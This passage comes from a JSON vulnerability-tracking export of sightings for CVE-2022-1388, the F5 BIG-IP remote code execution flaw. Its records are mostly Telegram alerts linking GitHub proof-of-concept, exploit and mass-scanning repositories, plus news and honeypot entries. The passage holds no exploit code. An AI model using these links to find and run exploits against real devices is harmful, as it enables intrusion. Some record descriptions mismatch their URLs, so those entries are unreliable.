"2026-03-31T00:00:00.000000Z"}, {"uuid": "83a50597-0e72-49c5-9d8f-98b7b1b91131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2137", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 POC exploit\nURL\uff1ahttps://github.com/superzerosec/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T15:49:34.000000Z"}, {"uuid": "a6d301ba-c9fe-4b62-a7db-ed5147cd5ba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2136", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aF5 BIG-IP RCE exploitation (CVE-2022-1388)\nURL\uff1ahttps://github.com/alt3kx/CVE-2022-1388_PoC\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T15:39:10.000000Z"}, {"uuid": "cf9c09b5-1187-4fd3-8522-591c6336f0a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2135", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388\nURL\uff1ahttps://github.com/saucer-man/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T15:28:12.000000Z"}, {"uuid": "99047fe2-be7b-4fe8-ae1f-9b18720efc10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2134", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1a\u7ed5\u8fc7\n\u63cf\u8ff0\uff1aCVE-2022-1388 F5 BIG-IP iControl REST\u8eab\u4efd\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\nURL\uff1ahttps://github.com/savior-only/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#\u7ed5\u8fc7", "creation_timestamp": "2022-05-09T14:38:06.000000Z"}, {"uuid": "fd186bb1-06a8-46d1-a6b0-da8a7e298624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2133", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1a\u7ed5\u8fc7\n\u63cf\u8ff0\uff1aF5 BIG-IP iControl REST\u8eab\u4efd\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\nURL\uff1ahttps://github.com/Henry4E36/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#\u7ed5\u8fc7", "creation_timestamp": "2022-05-09T14:07:58.000000Z"}, {"uuid": "e308459a-0793-4e59-b320-03ed52598cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2142", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-22965\u5199\u5165\u51b0\u874ewebshell\u811a\u672c\nURL\uff1ahttps://github.com/MrCl0wnLab/Nuclei-Template-Exploit-CVE-2022-1388-BIG-IP-iControl-REST\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-10T04:15:43.000000Z"}, {"uuid": "ce5c6083-9857-4ae3-bafc-013b5f7e688d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2141", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aPOC for CVE-2022-1388\nURL\uff1ahttps://github.com/horizon3ai/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T20:05:04.000000Z"}, {"uuid": "c3010818-58cb-4a8d-9c67-7725b69fc573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-10)", "content": "", "creation_timestamp": "2026-04-10T00:00:00.000000Z"}, {"uuid": "cf1ada1d-b240-4c1c-aa1a-25ce93e9107f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2127", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1abatch scan CVE-2022-1388\nURL\uff1ahttps://github.com/yukar1z0e/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T10:15:23.000000Z"}, {"uuid": "7545f13c-d43a-4586-ba56-94e6a645d4b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2126", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 F5 BIG-IP RCE \u6279\u91cf\u68c0\u6d4b\nURL\uff1ahttps://github.com/bytecaps/CVE-2022-1388-EXP\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T10:00:18.000000Z"}, {"uuid": "d868adc4-6d08-43ae-945b-426ea7f863ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/BleepingComputer/12014", "content": "Latest news and stories from BleepingComputer.com\nHackers exploiting critical F5 BIG-IP bug, public exploits released\n\nThreat actors have started massively exploiting the critical vulnerability tracked as CVE-2022-1388, which affects multiple versions of all F5 BIG-IP modules, to drop malicious payloads. [...]", "creation_timestamp": "2022-05-09T23:27:53.000000Z"}, {"uuid": "37fdb76f-858d-482d-8c29-b8eafb9c4992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/BleepingComputer/12010", "content": "Latest news and stories from BleepingComputer.com\nHackers exploiting critical F5 BIG-IP flaw to drop backdoors\n\nThreat actors have started massively exploiting the critical vulnerability tracked as CVE-2022-1388, which affects multiple versions of all F5 BIG-IP modules, to drop malicious payloads. [...]", "creation_timestamp": "2022-05-09T15:24:33.000000Z"}, {"uuid": "26d5971a-1b61-4158-8604-cb98810b5cbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BleepingComputer/12006", "content": "Latest news and stories from BleepingComputer.com\nExploits created for critical F5 BIG-IP flaw, install patch immediately\n\nSecurity researchers are warning F5 BIG-IP admins to immediately install the latest security updates after creating exploits for a recently disclosed critical CVE-2022-1388 remote code execution vulnerability. [...]", "creation_timestamp": "2022-05-08T19:19:19.000000Z"}, {"uuid": "910a18ac-727a-420a-ba9e-727208980266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/BleepingComputer/12088", "content": "Latest news and stories from BleepingComputer.com\nCISA shares guidance to block ongoing F5 BIG-IP attacks\n\nIn a joint advisory issued today,\u00a0CISA and the Multi-State Information Sharing and Analysis Center (MS-ISAC) warned admins of active\u00a0attacks targeting a critical F5 BIG-IP network security vulnerability (CVE-2022-1388). [...]", "creation_timestamp": "2022-05-18T16:06:02.000000Z"}, {"uuid": "041a0f4d-6f7b-447f-90aa-e8c639ff93d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/BleepingComputer/12035", "content": "Latest news and stories from BleepingComputer.com\nCISA tells federal agencies to fix actively exploited F5 BIG-IP bug\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a new security vulnerability to its list of actively exploited bugs, the critical severity CVE-2022-1388 affecting BIG-IP network devices. [...]", "creation_timestamp": "2022-05-11T15:37:35.000000Z"}, {"uuid": "21cb3b76-2580-4980-a1c9-62aec793cb6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/3118", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1acURL one-liner to test for CVE-2022-1388 BIG-IP iControl REST RCE\nURL\uff1ahttps://github.com/OnCyberWar/CVE-2022-1388-BIG-IP-REST-RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-10-25T13:16:18.000000Z"}, {"uuid": "27a40a15-f92c-473f-a20c-5588869790d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/cKure/9469", "content": "Zero-Day: Critical F5 BIG-IP flaw allows device takeover (CVE-2022-1388).\n\nhttps://www.helpnetsecurity.com/2022/05/05/cve-2022-1388/", "creation_timestamp": "2022-05-05T21:07:19.000000Z"}, {"uuid": "08a71cf4-a83b-4cb1-b1b6-3b8c1f1f25a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2212", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust\nURL\uff1ahttps://github.com/aancw/CVE-2022-1388-rs\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-17T10:56:01.000000Z"}, {"uuid": "0ff539f6-5bee-43bd-8e05-02bb7c4d20c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/bigip_cve_2022_1388", "content": "", "creation_timestamp": "2022-05-10T03:01:53.000000Z"}, {"uuid": "ba6d16e6-58bc-4f6c-8253-b3c8a8e82960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2149", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aBIG-IP iCONTROL REST AUTH BYPASS RCE POC CVE-2022-1388\nURL\uff1ahttps://github.com/TomArni680/CVE-2022-1388-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-10T14:53:47.000000Z"}, {"uuid": "029afe2f-2ffc-4906-91ba-e48c6a797e86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2172", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aNuclei Template for CVE-2022-1388\nURL\uff1ahttps://github.com/SecTheBit/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-12T12:25:47.000000Z"}, {"uuid": "6a4da04e-7653-44bf-aeba-ac61a50d08f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/cKure/9487", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Researchers Develop RCE Exploit for the Latest F5 BIG-IP Vulnerability.\n\nCVE-2022-1388 (CVSS score: 9.8), the flaw relates to an iControl REST authentication bypass that, if successfully exploited, could lead to remote code execution, allowing an attacker to gain initial access and take control of an affected system.\n\nhttps://thehackernews.com/2022/05/researchers-develop-rce-exploit-for.html?m=1", "creation_timestamp": "2022-05-09T06:20:58.000000Z"}, {"uuid": "d981973b-2267-42e7-8ec6-d00ff0570649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2259", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust \nURL\uff1ahttps://github.com/XmasSnowISBACK/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-22T13:34:02.000000Z"}, {"uuid": "9ac84b8a-2a30-47d6-9097-f66deca510e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-16)", "content": "", "creation_timestamp": "2026-04-16T00:00:00.000000Z"}, {"uuid": "1350100b-bc08-41cf-b564-f7bfb2515a54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2188", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aAn improved Proof of Concept for CVE-2022-1388 w/ Interactive Shell.        No reverse tcp required!\nURL\uff1ahttps://github.com/LudovicPatho/CVE-2022-26923_AD-Certificate-Services\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-14T20:49:13.000000Z"}, {"uuid": "4e8b9fd6-7eda-4477-bf29-d10f24afe68a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2187", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aAn improved Proof of Concept for CVE-2022-1388 w/ Interactive Shell\nURL\uff1ahttps://github.com/PsychoSec2/CVE-2022-1388-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-14T19:26:32.000000Z"}, {"uuid": "0910b868-bfd9-48a9-a6d2-36794a30c3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2196", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aImproved POC for CVE-2022-1388 that affects multiple F5 products.\nURL\uff1ahttps://github.com/iveresk/cve-2022-1388-iveresk-command-shell\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-15T09:02:53.000000Z"}, {"uuid": "96dac888-4bf2-4aeb-9e3f-986715603399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2192", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aPoC for CVE-2022-1388_F5_BIG-IP\nURL\uff1ahttps://github.com/sherlocksecurity/CVE-2022-1388-Exploit-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-15T02:33:36.000000Z"}, {"uuid": "510091fc-929b-4ccd-a091-1fe29a517ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2189", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aAn improved Proof of Concept for CVE-2022-1388 w/ Interactive Shell.        No reverse tcp required!\nURL\uff1ahttps://github.com/ahsentekdemir/CVE-2022-28346\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-15T00:26:32.000000Z"}, {"uuid": "c7d95d28-72b9-48aa-be26-48402e2af3ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/poxek/1913", "content": "F5 BIG-IP RCE Check\nhttps://github.com/bytecaps/CVE-2022-1388-EXP\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "creation_timestamp": "2022-07-05T11:01:33.000000Z"}, {"uuid": "e1454dd0-4325-4153-b98c-635fd0a3d9ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2178", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aTool for CVE-2022-1388 \nURL\uff1ahttps://github.com/justakazh/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-13T10:22:36.000000Z"}, {"uuid": "cf0d4655-214a-4875-845f-281fae804bd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-20)", "content": "", "creation_timestamp": "2026-04-20T00:00:00.000000Z"}, {"uuid": "bf35fc2f-316c-4707-9709-1b7dc06b4c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2150", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aA Test API for testing the POC against CVE-2022-1388\nURL\uff1ahttps://github.com/bandit92/CVE2022-1388_TestAPI\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-10T15:47:21.000000Z"}, {"uuid": "2de60352-1e1c-4794-8c27-8ba6b4d088f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2111", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 F5 BIG-IP iControl Rest API exposed RCE Check\nURL\uff1ahttps://github.com/bytecaps/F5-BIG-IP-RCE-Check\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-08T11:45:11.000000Z"}, {"uuid": "5c9165d4-fe0f-477e-8b05-fb47566c83bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2121", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aPoC for CVE-2022-1388_F5_BIG-IP\nURL\uff1ahttps://github.com/sherlocksecurity/CVE-2022-1388_F5_BIG-IP\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T07:45:33.000000Z"}, {"uuid": "28c6f7c6-6014-45dc-bc0d-7a550630008d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2125", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aPoC for CVE-2022-1388_F5_BIG-IP\nURL\uff1ahttps://github.com/sherlocksecurity/CVE-2022-1388_F5_BIG-IP_RCE\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T09:37:37.000000Z"}, {"uuid": "efa33468-4b8a-4053-9b6b-7312bb4872b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2124", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aK23605346: BIG-IP iControl REST vulnerability CVE-2022-1388\nURL\uff1ahttps://github.com/numanturle/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T08:29:55.000000Z"}, {"uuid": "41ecae76-4cd1-410f-9831-99419c0fd789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2132", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 F5 BIG-IP iControl REST RCE\nURL\uff1ahttps://github.com/Al1ex/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T14:07:53.000000Z"}, {"uuid": "0e0b5a68-140e-452f-b9df-e4f137199b7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2128", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 F5 Big IP unauth remote code execution\nURL\uff1ahttps://github.com/Vulnmachines/F5-Big-IP-CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-09T10:53:49.000000Z"}, {"uuid": "0197de0c-cb09-44a7-bd80-b115fa4df5e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2146", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aK23605346: BIG-IP iControl REST vulnerability CVE-2022-1388\nURL\uff1ahttps://github.com/shamo0/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-10T08:49:25.000000Z"}, {"uuid": "045b6768-d5b0-4b3e-bb18-646f02b1fc88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2145", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388-EXP\u53ef\u6279\u91cf\u5b9e\u73b0\u653b\u51fb\nURL\uff1ahttps://github.com/LinJacck/CVE-2022-1388-EXP\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-10T08:19:54.000000Z"}, {"uuid": "e7c90e7e-878b-4b6c-a658-9401f899544b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2144", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE\nURL\uff1ahttps://github.com/0xf4n9x/CVE-2022-1388\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-10T05:16:57.000000Z"}, {"uuid": "f4139777-383a-4fc3-9015-03036ada24fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2143", "content": 